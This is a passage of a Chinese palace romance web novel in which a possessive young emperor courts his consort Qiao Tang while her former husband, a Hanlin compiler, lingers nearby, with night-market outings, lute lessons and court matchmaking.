魏清砚声音透出沙哑,“昔年是我不对,亏了棠棠,棠棠要打要骂,皆由着棠棠。” 乔棠躲开他的手指,扬颈逼回眸中泪意,“魏大人只是教我弹琴的老师,我何故要打魏大人?” 这一瞬里,她脑中冷不丁闪出一句,便是要打要骂,也是该打裴承珏,该骂裴承珏。 一个晃神间,她微微一怔,怎么想到裴承珏身上去了? 她甩掉脑中人影,不看魏清砚一眼,背过身道,“昔年已逝,我与魏大人再无瓜葛,望魏大人日后行事,三思而行,莫牵连他人。” 这个他人是指镇国公府,她对魏清砚那日的癫狂情态依旧心有余悸,这时转过身看他,猛地一怔。 魏清砚难以忍受地攥紧了拳头,冷淡眸子泛出赤红,克制不住的情思涌动。 袖中萤火虫纷纷飞出,惊扰了两人视线。 乔棠别过视线,不能容忍自己动摇决心,有只萤火虫缠上了她的衣袖,映得衣袖花纹越发漂亮。魏清砚不由靠近,挥袖帮她去赶萤火虫,手指忍不住抚上衣袖,须臾衣袖便跑了。 乔棠退了几步,“请魏大人自重。”她转身要走了,仓促间对上魏若湄发红的眸子,步子慢下来。 身后魏清砚立在原处,一片阴影下传出他坚定声音,“我等棠棠,无论多久,我都等。” 乔棠似没听见,快步疾行,上了马车扑进王嬷嬷怀中,慢慢地泣出一声。 王嬷嬷搂着她,心疼地叹息,“姑娘,你和他缘分尽了,尽了啊。” 乔棠心里默默道,是啊,缘分尽了。 马车缓缓行驶,湖边久久立着魏清砚,掌心拢着萤火虫,目光遥遥相送。 马车驶进街道,王嬷嬷替乔棠抚掉泪珠,掀开车帘道,“姑娘快听,有人唱戏呢!” 她指望拿这个逗乔棠开心,乔棠不忍她担忧,收敛情绪,顺势望去,只掠了一眼戏台,视线落在了台下摆起的面具上。 “姑娘要面具?我去给姑娘买!” 乔棠想阻止,一张口,嗓子哽咽,索性由她去了,过了会儿她上车了,带回来两个面具。 一个关公,另一个是小狐狸模样,乔棠掠过小狐狸,拿了关公在手里,不知低眸想些什么。 马车回了行宫,乔棠下车便觉出不同,处处透着压抑沉重,巡逻侍卫亦多了起来。 一路去往寝殿,宫人皆屏气凝神,垂首行礼,未到寝殿前,乔棠与王嬷嬷便明白,裴承珏来行宫了,想必此时正在寝殿。 王嬷嬷思及上次裴承珏发火,手臂一抖,抓紧了乔棠胳膊。 乔棠凝神思索,“陛下发火是何模样?” 王嬷嬷怕吓着她,强行稳定下来,“无妨,陛下是太喜欢姑娘了,直到现在还没同姑娘发过火,那以后也不会同姑娘发火了。” 乔棠不语,抓了她手中的关公面具捏在手里,转念一想,是自己非要争这口气,便是裴承珏发火了,她只受着就是了。 来到寝殿门前,宫人分立两侧,李公公望见她如见恩人般激动,疾步过来迎她,边走边低声道,“陛下适才在弹琴。” 殿里传来琴音,乔棠一听便顰起黛眉,这…… 琴音谈不上悦耳,甚至很杂乱,很明显是裴承珏乱弹的,裴承珏是真生气了。 琴音持续了很久,折磨着众人耳朵,仍不见停止,众人不敢妄动,苦苦捱着。 唯有乔棠抬袖捂住了耳朵,不知过了多久,王嬷嬷拿手指点了点她,她知晓琴声停了,放下了袖子。 李公公忙不迭通禀一声,可不同于以往的即可进去,这次过了好一会儿,里面才传出裴承珏的声音,“惠贵妃,进来。” 乔棠眼皮一跳,抿了抿唇角,安抚好王嬷嬷,迈步进去时,随手将关公面具戴到了自己面上。 殿里外间烛火熄了大半,唯琴架侧立着一盏,光影摇曳中,映出裴承珏立在琴前的孤影。 他俯下身子,手指挑起琴弦,又一阵乱音出来,遮住了乔棠慢慢靠近的脚步。 乔棠顿步,不待琴音止,手指点了点裴承珏肩膀,裴承珏不回头,仍一通乱弹。 乔棠咬唇,这般生气,若搁往日早抱上她了。 她走到裴承珏身侧,歪头看了看他,但见他容色无情无绪,一眼也不瞥来,大袖垂落琴身。 乔棠悄悄伸手牵住了那袖子,轻轻地一扯,促使裴承珏直起身子,侧目瞥过来,黑沉沉的眸子闪过一抹幽深。 视线落在关公面具上,下颌绷紧,薄唇抿成直线,倏地薄唇动动,勾出一抹叫人猜不透的笑。 乔棠心里一跳。 但见他坐回琴架前,上身松松地靠向琴身,扬颈注视着乔棠,慢慢地喊,“惠贵妃。” 他静静地等着。 似乎不言不语,乔棠也要明白他的意思,乔棠为难得将唇瓣咬得嫣红,迟疑地摘下面具了。 裴承珏催促地挑弄 琴弦,乔棠猛地俯身,吻上他的额心,温热触觉,轻如羽翼。 裴承珏满足地阖眼,喉结滚动,惬意地享受着乔棠主动的亲吻。 从眉心到眼睛,再到挺直鼻梁,一吻接着一吻,及至薄唇,她将唇贴了上去,再不动了。 薄唇不满地催促,她不得已回应。 忽地腰间缠来手掌,一把将她摁在怀中,迫使她继续,连口气也容不得她喘。 她不安地动了动,唇瓣泄出求饶声音,“陛下,臣妾知错了。” 裴承珏并未消火,一只手掌托住她的后颈,将她摁向自己侧颊,她认命地继续凑上去。 许久,手掌终于松了,她得以喘气,趁机晃了晃关公面具,声线颤巍巍的,“陛下可还得这面具?” 瞥见裴承珏飞快压下要牵起的唇角,她心里笑了笑,她就知晓裴承珏吃这套,又晃了下面具,“陛下不记得了?” “不记得了。”裴承珏侧过头,淡淡道。 乔棠心叹,看来他真气恼了,这么好的逗弄自己的机会都不要。 她故作生气地挣脱出裴承珏怀抱,坐在琴架一边,随意挑弄琴弦,琴声中夹着她的不满,“陛下不记得,臣妾可记得清清楚楚。” 裴承珏的气依然未消,“姐姐,生气的该是朕!” 一手搂了她过去,钳住她的下巴了上来。 乔棠痛了,拿手拍打他的肩膀。 他这才松开,目光直盯着乔棠,好似乔棠再说不出他爱听的话,他会再生气。 乔棠咬牙认输,“这是陛下初见我时戴的面具。” “姐姐还记得这个。”裴承珏笑起来,眸中染上柔情,抱起乔棠离开琴架,“姐姐陪朕沐浴吧。”—— 作者有话说:订阅的宝在本章评论区留言发红包,谢谢支持! 第24章 乔棠以为他消气了,心下一松,一起沐浴便一起吧,他也不能吃了自己。 结果还是乔棠想得太简单了,裴承珏吃她的法子真是层出不穷,待裴承珏为她穿上寝衣,抱到床上,她只想睡过去,再也不要见眼前人! 裴承珏犹不罢休,一手轻轻托起她的右足,“姐姐已是第二次背着朕出宫了,倘若朕不好好惩罚姐姐,定还有第三次。” 乔棠惊叫出声,“陛下不已惩罚过了!” 裴承珏无辜地望过来,“姐姐错了,接下来才是惩罚,还有——” “再有下次,朕会派侍卫跟着姐姐,寸步不离。” 乔棠不可置信,裴承珏这样无异于禁她的足,叫她没了自由。 她正欲开口求饶,裴承珏手指抚过她的足面,一下子痒到了她心里。 她最受不了的便是这个,莫提心底,浑身也似被挠了一遍,当即眼角一红,落下泪来,“陛下。” 我见犹怜,楚楚动人,裴承珏一边怜惜一边笑道,“姐姐这么快就认输了——” 手臂抱起她让她坐在自己腿上,轻轻一笑,带着些许恶劣,“可是朕才开始。” 夜还很长,乔棠终于意识到了裴承珏的可怕之处,暗暗发誓她再也不会偷偷出宫了。 翌日清晨,她浑身绵软无力地躺着,王嬷嬷却欢喜地坐在床下,“陛下果真没有冲姑娘发火,原来陛下才是最会惯姑娘的那个。” 乔棠欲哭无泪,默默抱着枕头不语,这次真是吃了哑巴亏,有苦说不出来,憋屈得很。 于是整个白日里,但凡裴承珏派人来请,她都以身子不适没去,裴承珏倒也不恼,纵容地让她好生歇着。 及至晚间,她没法躲了,被裴承珏抱去一起用了晚膳,“姐姐歇了一日,也该有力气了,姐姐既一心想出去,朕带姐姐出去。” 乔棠坐上马车后才反应过来,裴承珏的气竟还未消。 思及昨夜的惩罚,她也不知裴承珏会做出什么来,咬了咬唇,决意先认输,笑道,“臣妾昨夜也不过是随意走走,等下陛下喜欢玩什么,臣妾陪着陛下。” 裴承珏不为所动,把玩着她的手指,“那便先将姐姐昨夜走过的地方再走一遍吧。” 乔棠暗道,这也太难哄了,哪有过了一夜还在气的,日后还是莫惹他了。 转念再想,裴承珏先前给了她有限的自由,不曾派侍卫跟随,确实不知她昨夜做了什么,等下她只带裴承珏随意走走便是了。 及至下了车,迈入熙攘喧闹的夜街,她原要走到裴承珏前面的,不想被裴承珏揽腰护在怀里,以防她被人挤着了。 乔棠抿唇瞥了裴承珏一眼,见他嘴角含笑,目光巡视四周,心里莫名闷闷的。 裴承珏素日应甚少有机会出来,整日困在殿里也是无趣,今夜想必也是从繁忙政务中抽出的时间,不若让他欢喜欢喜吧。 乔棠目光流转,一下瞥见了面具摊,牵着裴承珏的手过去,笑道,“喜欢哪个,我给……” 裴承珏的视线带着逼迫,“叫夫君。” 乔棠心脏一麻,声音小下来,“我给夫君买。” 话音方落,裴承珏握着她手的力度骤然一紧,唇角翘起,还真就打量起了挂在架上的面具,认真地一一瞧过,半晌展眉一笑,“我要关公。” 关公,总是关公。 离不开关公了,是吧,乔棠默默心道,那给你多买一个。 她一下买了两个,全递给了裴承珏。 裴承珏接过,将其中一个给她戴上去,自己那个拿在手里,牵着她的手往前走。 交握的双手穿过熙攘人群,乔棠落了他一步,挑高视线注视着他的背影,一股暖意从手心传到心间。 忽地裴承珏回首,眉眼恣意,笑容张扬到周围一切都失了光彩,“接下来夫人要带为夫去哪里?” 乔棠愣愣地看着他的笑,似被吸去了心神,好在此时一阵激烈的喝彩声传来,她仓促回神,迟迟地哦了一声,看向喝彩处,原来是在比武。 裴承珏约莫喜欢这个吧,她指向比武台,“去那里。” 裴承珏顺着视线望过去,但见两个男人在台上赤膊相斗,笑容倏地消失,近前遮住乔棠视线,俯身不悦道,“夫人这么快就忘了自己的誓言?” 乔棠心底呀了一声,那个誓言不过床榻之语,他怎记得这般牢! 眼看他已生气,不指定怎么惩罚自己,乔棠忙哄道,“昨晚我可没有看,适才是想着夫君应该喜欢,才指夫君看的。” “我不喜欢!”裴承珏揽着她往前走。 她目光乱转,试图转移裴承珏注意力,忽地手臂被轻轻一拉,来到一家首饰铺子。 不过是些钗簪之类的,并不值钱,比不得宫中那些价值连城。 可裴承珏依然停在这里了,他的左侧立着一对年轻夫妻。 夫君正小心地为妻子插簪子,待插好簪子,两人对视一笑,慢步远去了。 裴承珏望向乔棠,眼中含着热切,像是很想学适才那对夫妻。 乔棠面颊一热,仓促地指向其中一枚簪子,“我喜欢这根。” 裴承珏买下这根,捏在手中,定定地望着她,“夫人靠近些。” 她慢慢地将身子贴了过去,低眉垂下视线,任由裴承珏将簪子插入发间。 两人离得极近,不知是谁的呼吸先快了,慢慢地,两人呼吸都急促起来。 乔棠悄悄呼气,眼前闪过一节晃动的大袖,金线织就的花纹很漂亮,她伸出手指摁住了,不容袖子再动。 裴承珏动作受制,低低言语,“松开。” 乔棠松手,他接着若无其事地插好了簪子,从摊子上拿起一面小镜子,递给乔棠,“夫人且瞧瞧如何?” 乔棠唔了一声,抓住裴承珏的手腕一转,将镜面对着自己,草草瞥了一眼,“可以。”往前走了。 裴承珏慢悠悠跟上去,眸光紧紧锁着乔棠,乔棠感受着身后灼热视线,心道他可别在这时候抱着自己胡闹。 她加快步子来到了桥上,桥下流水潺潺,飘过几叶小舟,很快裴承珏追到她身侧,似笑非笑道,“夫人跑什么?” 乔棠心虚地反驳,“我哪里跑了?” 只是走得快。 忽地 裴承珏靠得更近,立在她身后,手指抚到她的眼上,“夫人说谎。” 乔棠心底躁了几分,原想拍掉他的手指,不想手指须臾撤开了,“抬头。” 乔棠疑惑抬头,霎那间天幕砰得几声,轰然炸出绚丽烟火,纷纷落入瞪大的眸中。 顿时周围一片惊呼,喧嚣声冲破天际,不过是个寻常夏夜,怎地官府放起了烟火! 议论声传入乔棠耳中,乔棠霎时明白,回眸去望裴承珏。 裴承珏垂下视线,温柔地抱住了她,轻声试探,“姐姐喜欢么?” 阵阵烟火绽放又落下,乔棠眸中似还残存着的艳丽色泽,喃喃道,“喜欢。” 可是心跳好快,怪不舒服的,她躲避似地挣脱开裴承珏怀抱,迫使自己无视心跳声。 她听到自己佯装镇定的声音,“那夫君喜欢什么?” 裴承珏与她并肩立在一起,扬颈望着天幕上的繁丽火花,半晌摇摇头,“先前也无什么喜欢的。” 他自幼被当做储君培养,学的都是些治国之道,论及个人,实难有合他心意的东西。 且若搁以往,眼下这等博姑娘欢心的行径,他莫说做了,恐怕还很唾弃! 可是此刻,急促跳动的心脏充盈着欢喜,都是身边乔棠给予他的,他下意识地侧身低头,吻在乔棠发间那根簪子上,“现在喜欢姐姐,最喜欢姐姐。” 这一吻直叫乔棠内心战栗,怔怔地直着身子不动了,便是被裴承珏抱回马车上,她的意识似还留在桥上烟火盛开那一幕,呆呆地与裴承珏双手交握。 裴承珏以为她累了,将她拥在怀中,“姐姐睡吧,朕守着姐姐。” 乔棠阖上眸子,心底乱得不成样子,尤其是今晚的心跳,直叫她受不了了,逼迫自己快快睡着了。 裴承珏为她寻了一个舒服的姿势,而后从小案上翻出一沓折子,借着烛火瞧了起来。 没过多久,扬颈呼了口气,心道太糟糕了,根本看不进去,只想抱姐姐,亲姐姐。 他小心地抬起乔棠的手,放在唇边亲了亲,心里直叹。 这世上怎会有姐姐这般惹他喜欢的人? 喜欢到了日日亲仍觉不满足。 喜欢到了时时刻刻都要带在身边,但愿姐姐不要恼他缠人。 这倒是他多虑了,因为乔棠已习以为常,也无所谓恼不恼了,只时时刻刻陪着他就是了。 翌日一醒来,乔棠就如往常一样,一直在裴承珏身边。 若单要她陪着还好,可惜这日裴承珏在正殿处理政务,偏又支起画架,叫她在旁画自己小像,令她苦恼不已。 她只道画技一般,裴承珏不放过她,时而在旁指点,末了惋惜道,“王嬷嬷竟只记得姐姐及笄后的模样了。” “是啊,嬷嬷年纪大了,记性不太好了。”乔棠心虚地附和。 实则王嬷嬷虽记性不好了,唯独对乔棠的一切记得极清,至今还晓得乔棠幼时模样。 在乔棠百般暗示下,她才扯谎道,“哎呀,及笄之前倒记不清了,及笄是后知晓的。” 于是乔棠拿这个借口堵裴承珏的嘴,得以少画许多年,只从自己的十五岁画起。 此时好不容易完成一副,她不在意地放下画笔,起身要去歇息。 裴承珏从御桌后起身过来,立在画架前,边看边道,“姐姐有一阵没学琴了,朕召了魏卿,稍后就到。” 乔棠实未料到这个,示弱地牵起裴承珏袖子,还未开口,裴承珏已然知晓,容色一正,“姐姐学东西怎可半途而废?” 乔棠无奈于他在做事上的专注认真,将到嘴边的话咽了回去,老实地坐在琴架前,等着魏清砚过来。 裴承珏凝视着画像,是十五岁的乔棠,穿着浅绿裙衫,眉眼间有些稚嫩,脸颊也圆润些,柔美之余可爱几分。 裴承珏情不自禁地拿手抚了抚画像,乔棠不经意转头瞥见,心神一悸,别过视线,忽见殿门边闪来一节官袖,是魏清砚到了。 魏清砚现今在翰林院做编修,没了都察院繁多政务,时间空出来许多,来得比以前快很多。 裴承珏让他进了殿,示意他去教乔棠,他立在琴架两步远,低低讲起来,偶尔隔空点了点琴弦。 乔棠垂眸,那夜既已说过不能与魏清砚再有瓜葛,便要做到,脑中瞬时清明一片,再无杂念了,只一心学琴。 殿中响起清越琴声。 魏清砚恪守身份,安分地立着,袖中手指却蜷紧了,低眸掩去一抹痛楚。 原来自己立在棠棠身侧时,棠棠的心已不会乱了,她心里没自己了么? 这厢裴承珏听着琴声,讶然侧目,姐姐嘴上不乐意,学起来可比先前专注认真太多了,也不知姐姐为何这般不坦诚。 他听了一阵,见乔棠停下不弹了,似是累了,又摇头失笑,原来是个懒性子,不爱受累罢了。 “姐姐累了便歇会。” 裴承珏示意宫人过来侍奉乔棠,目光瞥向魏清砚,见他的目光直直看向画像,倏地唇角一垂,容色一沉,“魏卿退下。” 他靠近画架,将那画像遮得严严实实,魏清砚霎时低首,眸色一荡,那是十五岁的棠棠。 十五岁的乔棠,将将及笄…… 他见过,远比画上鲜活灵动,连浅绿裙衫都比画中清嫩几分。 那年他在书院读书,临窗坐着,夫子在前面讲书,他原认真听着的,不经意往窗下瞥了一眼。 外面起了风,吹得行人衣袖鼓动,一片幕离轻纱闪过他的眸子,接着是少女的笑靥,灵动柔美。 他猛地阖眼,压下极快的心跳,又飞快睁开,可惜那姑娘已远去了,只瞥见被风扬起的浅绿裙角。 从未有过的焦急席卷过来,叫他瞬时失了身份猛地站起来,惊了讲书的夫子与学生。 夫子动怒,罚他站了一日,前座青年偷偷回头,低声揶揄他,“能看乔家姑娘一眼,站三日也不亏。” 他冷着面,不发一言,心道原来是乔姑娘。 夫子将此事告知温家父母,温家父母知了,恼得当夜将他打个半死。 他被捆在柴房里,浑身鞭伤霍霍地疼,脑中一下又一下闪过窗下那张笑靥,半点不悔看过的那眼。 倘若当时他知晓,现今多看一眼十五岁乔棠的画像,便会引起天子不悦,当初就该看够了,便是被打死也值了。 可惜啊,人无回头路,他再不能好好地看一眼乔棠了,他能做的只有听乔棠的话,安分下来,掩盖过往,躬身行礼,“微臣告退。” 迈步出殿时,侧目望见裴承珏低眸凝视画像,他报复似地勾了勾唇,寒霜面容露出一抹浅笑。 呵,陛下见过十五岁、十六岁……直至十九岁的乔棠么?没有,陛下也只能看看画像,聊以慰藉罢了。 而乔棠十六岁就嫁给他了,做了他三年的妻子,这一瞬里他心中妒火小了下去,升起一股可怜的隐秘的满足。 魏清砚身影远去了,乔棠收回视线,眉尖一顰,总觉魏清砚变了些,可他分明安分得很,浑身冷肃如初,兴许自己察觉错了。 乔棠低眉吃点心,心道实在不宜再与魏清砚见面了,这琴日后不能再学了。 殿里静了半晌,也无裴承珏的动静,她疑惑地去看。 裴承珏仍立在画像前,瞧不够似的,她拿着点心过去,到了裴承珏跟前,将点心送到裴承珏口中。 裴承珏吃得很干净,快要将她的手指吃进去了,急得她迅速收回来。 裴承珏不满地抿唇,乔棠暗道他白日也不正经,转身要走,忽听他遗憾道,“冀州有多么多人见过十五岁的姐姐,朕却没有见过。” 乔棠心口倏地发胀,酸酸的,不知是欢喜还是难过,折回来主动抱住裴承珏。 “陛下也是的,臣妾就在这里,何苦看着一个画像伤神,莫非不喜现在的臣妾了?” “哪有,姐姐莫多想,不过见了画像,感叹而已。”裴承珏牵起她的手远离画像,“朕不看了,朕陪姐姐吃点心。” 两人用了点心,乔棠看向琴架道,“陛下,臣妾实在不想学琴了。” 原以为裴承珏会不同意,要多费些口舌,没成想裴承珏缓了片刻,还是纵容她道,“准了。” 乔棠欢喜,侧头吻了吻他的面颊,裴承珏笑起来,她自己却怔住了,这个吻太快太自然,根本没有过她 的脑子。 她怎会这么娴熟地去吻裴承珏? 反应过来后,她心头乱得不行,慌地站了起来,“陛下,臣妾累了,想去歇一歇。” 裴承珏不许她离开正殿,顺势抱起她去了内殿,将她放在榻上,示意她就在此歇息吧。 乔棠如何睡得着,只觉眼前的裴承珏好生招她烦,“陛下且去忙吧。” 裴承珏不舍地出去了,她下床,在房中徘徊许久,最终得出一个结论。 这只是她的下意识行为,都怪裴承珏要她亲太多次了,这才形成了惯性。 乔棠一瞬松了口气,这也没什么的,日后且注意便是。 往后一阵子,她格外注意,确然没了主动亲裴承珏的习惯性行为,只老实在殿中画小像。 她也不再见魏清砚了,趁裴承珏不在,她将先前那张小像和琴都收进了她带进宫的箱笼里,叫王嬷嬷放置好,只当以前都随风而逝了。 酷夏一日一日地过去了。 乔棠也从行宫搬回了皇宫,原本以她的身份,也该有自己的宫殿了,可裴承珏哪里允许她搬出去,压着她依旧住在太极宫中。 太后听闻也无别的动作,乔棠只觉哪里不对劲儿,先前太后还曾让她带顾玉清在裴承珏面前晃一晃,现今也不提顾玉清了。 她有些不安,正欲去慈宁宫拜见太后,试探下太后意向,素兰姑姑先过来了,说是太后要见她。 乔棠得了机会,自是去了,及至慈宁宫正殿,拜见了太后,又见太后下方座位旁立着一位姑娘,心底生出疑惑。 那姑娘气质沉静,细眉婉约,瞧身量容色约莫十八岁,起身向乔棠行了礼,“静仪见过惠贵妃。” 乔棠微微一笑,心头了然,她听王嬷嬷提到过一些皇室宗亲,其中包括裴承珏唯一在世的皇叔,襄王爷,眼前这位静仪郡主便是襄王爷的爱女。 太后此时道,“静仪这这阵子在宫中陪哀家说话,哀家恐她无聊,不愿拘着她,听闻她想读书,便想着从翰林院寻个读书好的,为她讲讲书。” 乔棠心头生出不妙,果听太后又道,“听闻翰林院的魏编修,书读得不错,也是去年的状元,便叫了他在文华殿讲书,惠贵妃无事也可去听听。” 乔棠面上微微笑着应下,心底苦恼不已,原是要远离魏清砚,这下难不成又得见了? 出了慈宁宫,在回太极宫的路上,她与王嬷嬷道了此事。 王嬷嬷思付道,“这读书恐是个幌子,约莫是这位郡主相中了魏大人,以读书之名接近魏大人,又怕落了旁人话柄,叫姑娘也去,兴许到时还有旁的姑娘呢。” 原是这样,乔棠恍然大悟,一时不语,王嬷嬷瞥着她的神色,低低道,“姑娘,我们都是要往前走的,你有了陛下,魏大人自也会有旁人的。” 乔棠失笑,“嬷嬷想哪里去了,自那夜我与他说清后,我是再不想着他了,嬷嬷且放心,我如今只一心想着……” 待裴承珏厌了她离宫罢了,这话在嘴边滚了滚,不知怎么地,心头闷闷的,又悄悄将这话沉心底去了。 忽地脑中浮出疑惑,若有其他姑娘在,静仪郡主也已避嫌,太后怎还要她同静仪郡主一起去听? 乔棠拧起黛眉,心道多一事不若少一事,况且还是魏清砚讲书,还是不去的好。 没成想,翌日上午,素兰姑姑便带着太后的话过来催她了,只道静仪郡主已去文华殿了,她也可去听一听了。 乔棠无奈,目光一转,先命宫人送走了素兰姑姑,又等了会儿,便见李公公过来请她了。 她故作为难地叫李公公传话,“本宫先去文华殿一趟,晚些再去见陛下。” 李公公不敢耽搁,速速去了,她特意拖了些时间才出门,在道上慢慢地走着。 秋风乍凉,花枝已枯,只盏盏菊花开得绚烂,黄的白的粉的簇在一起,霎时吸睛。 她顿步,装出赏花模样,看了好一会儿,秋风紧了,她刚瑟缩一下肩头,一件阔大袍子披了上来。 “姐姐去文华殿做什么?” 裴承珏从背后为她系好衣领,理好了被风吹乱的发,叫她一瞬想起王嬷嬷。 王嬷嬷照顾她也是这般体贴周到,她忍不住回眸一笑,“陛下惯会照顾人,不像小了臣妾两岁,倒像臣妾兄长。” 裴承珏抬袖,温热指腹一下堵住了她的唇,“惠贵妃倒不如闭口。” 乔棠眨了眨眼,他淡淡道,“兄长是吧?那妹妹叫声夫君,让兄长听听。” 乔棠倏地红了脸,“陛下正经些!” 第25章 裴承珏无辜道,“不是姐姐先说朕像兄长?” “那、那陛下提了夫君,眼下臣妾与陛下还未大婚呢!”乔棠辩驳。 裴承珏揽着她的双臂倏地一紧,嘴边含着笑,“原来是姐姐急了,那朕此刻就破了规矩,明日便与姐姐大婚,如何?” 乔棠暗道糟糕,裴承珏兴致来了,还真做得出来,忙道,“臣妾也只是想从陛下这里占些嘴上便宜,陛下可莫意气用事。” 裴承珏笑道,“嘴上便宜?简单。”他侧头亲了一下乔棠的唇,“喏,给姐姐占过了,开心么?” “陛下!” 乔棠气得面似暮霞,退出他的怀抱,离了两步,赶紧将听书一事讲了。 “原是因这个才不去陪朕。” 裴承珏不再逗她,牵起她的手,两人并肩走着。 乔棠听他随意道,“若是静仪当真中意魏卿,朕可给他们赐婚。” 乔棠顿步,“陛下惯会硬抢,若是两人还未多接触,就因旨意凑在一起,日后发现性格不合,岂不是各有各的委屈?” 裴承珏眉峰一拢,“姐姐怎总可怜旁人怪罪朕?朕何时硬抢了?” 说着一下松了乔棠的手往前去了,殊不知乔棠一时失言,正心惊呢,以裴承珏来看,自己与他两情相悦,确实不算硬抢。 乔棠镇定下来,见裴承珏赌气不理她了,止步喊道,“陛下。” 裴承珏起先还能撑住不理,奈何乔棠喊了三声,他就忍不住回首,“惠贵妃难道要朕抱着才肯走?” 乔棠翘了翘唇角,暂时没动。 裴承珏挑眉,作势抬步过去,但见乔棠被唬住了,提起裙角朝他跑来,巧笑嫣然。 两人距离不远,乔棠不过跑了几步就到了跟前,秋风乱了她的发丝,也乱了裴承珏的心。 他心旌摇曳,手指飞快撩起阔大袍子,罩住乔棠上身,映住宫人视线,俯身抬起乔棠脸颊,吻了过去。 乔棠惊得启唇,瞬时被得了空隙,一时难以分开,她揪紧裴承珏衣袖才得以站稳。 良久,唇分。 袍子乱了,发丝乱了,唇上口脂乱了,乔棠的心绪也乱了。 裴承珏掀了袍子,露出乔棠被吻得失神模样,眸色一震,一下又给乔棠盖上了。 他忍耐道,“姐姐呼吸。” 乔棠急促呼吸,脑子里乱糟糟的,糊涂得很,一张口,只有颤巍巍的呼吸。 裴承珏牵起她的手往前走,试探地问,“姐姐还记得要去干什么吗?” 乔棠意识还未清醒,声音低低的,“要去文华殿。” 很乖的回答,裴承珏有些心疼,姐姐脑子不会被自己亲坏了吧? 他放轻声音,“那姐姐要朕陪着去么?” 乔棠只觉有道声音在响,很熟悉很温柔,喃喃道,“要。” 裴承珏眸色一深,脚步拐了个方向,此处离漱玉阁不远,他领着乖乖听话的乔棠进了阁里。 封了门窗,他将乔棠抱上桌子,褪下外袍,手指勾起乔棠衣领。 乔棠抬起眸子,眸色茫然,他无辜又温柔地对视过去,低首亲了亲乔棠的眼睫。 慢慢地,乔棠眼神迷茫散去了,变得清明起来,迟疑地喊,“陛下?” 裴承珏手指一顿,改为抱住她,将下巴枕在她 的肩上,倏地笑出了声,“姐姐清醒了。” “这可怎么办?想对姐姐做坏事,被姐姐发现了。” 乔棠环顾四周,再看敞开的衣领,还有什么不明白的,她都懒得生气了,拿手推了推裴承珏。 “朕这就放开姐姐。”裴承珏松开她,瞧她也无发火意思,心中怜爱更甚,抱起她到门边,“朕带姐姐去文华殿。” 乔棠离了他怀抱,要走时被裴承珏牵起手,裴承珏轻轻道,“朕错了。” 惯会认错,就是不改,乔棠心里忿然,手上却不挣扎了,任由他牵着,两人一起往文华殿去。 文华殿在宫中东部,没过多久,两人眼前出现一座殿宇。 裴承珏牵着乔棠踏上层层台阶,到了殿门前,他阻了宫人的唱声。 殿里传出魏清砚的声音,“微臣乃是外臣,不宜出入宫廷为郡主讲书,请郡主另择他人。” 乔棠默然,魏清砚说话实在过于冰冷,静仪郡主许是愣住了,迟迟没有说话。 裴承珏苦恼地捏了眉心,带着乔棠迈步进去,此时宫人才唱声道,“陛下驾到,贵妃娘娘驾到——” 殿里静仪郡主和魏清砚同时一怔,躬身行礼,裴承珏示意两人立在阶下,牵着乔棠的手让她坐在阶上长案后的圈椅上。 他斜身靠在长案上,目光巡过阶下两人,视线落在魏清砚身上,笑道,“魏卿现今可与你夫人在一处了?” 乔棠的心一下提到了嗓子眼,见静仪郡主飞快地瞥了一眼魏清砚,蓦地明白,裴承珏是问给静仪郡主听的。 乔棠冷静下来,顺着裴承珏视线,也不遮遮掩掩,直接看向魏清砚,不过才一眼,视线被书卷遮住了,她侧头,正对上裴承珏警告的眼神。 她立时想起那个帐中誓言,除了裴承珏绝不能瞧旁的男人,无奈地勾勾唇,别开视线了。 裴承珏面色稍霁。 魏清砚掀起眼帘,视线扫过乔棠落在桌子的衣袖,垂眸掩去不舍,艰难启唇道,“回陛下,微臣已与夫人和离,再无瓜葛了。” 乔棠缓缓抬眸,见静仪郡主紧绷的纤肩倏地一松,心下明白,这是真看上了。 裴承珏察觉她的动作,本来警觉地侧目,见她瞧的是静仪郡主,手中书卷扔回了桌上,“和离了也好,魏卿日后以此为鉴,莫要过于沉湎公务忽略了身边人,以后若有合适的姑娘,自可以再娶。” 他不止是在说给魏清砚听,也是说给静仪郡主听,眼下他只要静仪郡主一个态度。 但这态度也并非今日不可,他思及乔棠所言的赐婚也需慎重,便未提赐婚一事,直起身子要走,乔棠见状也起了身。 没成想裴承珏牵她到阶下长案后坐着,“姐姐在此听听魏卿讲书也可。” 乔棠惊讶,裴承珏竟肯舍弃自己陪他的时间,为静仪郡主做幌子,想来裴承珏对静仪郡主格外重视。 不对,裴承珏自进来也未瞧静仪郡主一眼,谈不上重视与否,大抵是重视静仪郡主背后的襄王爷。 她兀自思索着,耳边听裴承珏低语,“今日朕就大方一回。”抚了抚乔棠的衣袖,出殿去了。 乔棠心底不满,她本就无意掺和进来,眼下倒好,直接被裴承珏大方地送进这那麻烦事中了。 此刻殿里还剩三人,她也不再多想,示意静仪郡主坐下,抬眸望向阶上长案,“魏编修开始吧。” 原本不愿的魏清砚得了和乔棠相处的机会,背身步上台阶,唇角微微勾了勾,转身立于长案后,容色冰冷起来。 一时间,殿里只有魏清砚讲书的声音。 半个时辰过去了,魏清砚讲书结束,视线极快地掠了一眼乔棠,低眉向她行礼告退了。 乔棠彻底松了口气,只觉今日的魏清砚十分正常,想来自己前几日多虑了,忽听身侧静仪郡主喃喃道,“魏大人当真才情卓绝。” 乔棠心里一叹,被魏清砚外表和才华迷惑的姑娘也不只静仪郡主一个,却都未见识过他那颗伤人的心。 静仪郡主似忘了她也在,慢慢起身走向长案,步到案边,伸手抚了抚魏清砚拿过的书卷,痴了一般低叹,“我与他见解竟这般相似。” 乔棠忽地思及王嬷嬷告知她的,“静仪郡主也是爱书之人,听说她读的书比京中世家公子还多,若是个男儿身,恐能与魏大人争状元呢!” 秋风拂进窗内,吹得乔棠心里凉了一片,静仪郡主若是因才情钟情魏清砚,恐不会有什么好结果。 这世上只乔棠知晓,魏清砚厌恶读书。 起先,乔棠并不知,是与魏清砚成了亲后,魏清砚推迟圆房,一再躲避她,她气恼之下,在魏清砚沐浴时闯了进去,瞧见了魏清砚的一身疤痕。 魏清砚避之不及,望向她的目光冷漠无情,她如被针扎了心,仓皇逃走。 后来她托王嬷嬷暗地里找温家仆人打听,这才知晓魏清砚不过是温家父母从人牙子手里收下买的孩子。 因不是亲生的,温家父母也不心疼,魏清砚一旦哪里做得不好,便被狠狠鞭打,从小至大,新伤叠旧伤,日子一久,疤痕再难除掉。 后来她费了许多心思,也不过是将痕迹消得轻一些,魏清砚大抵难堪于自己的身体,从不轻易在她面前展露,她遂不强求。 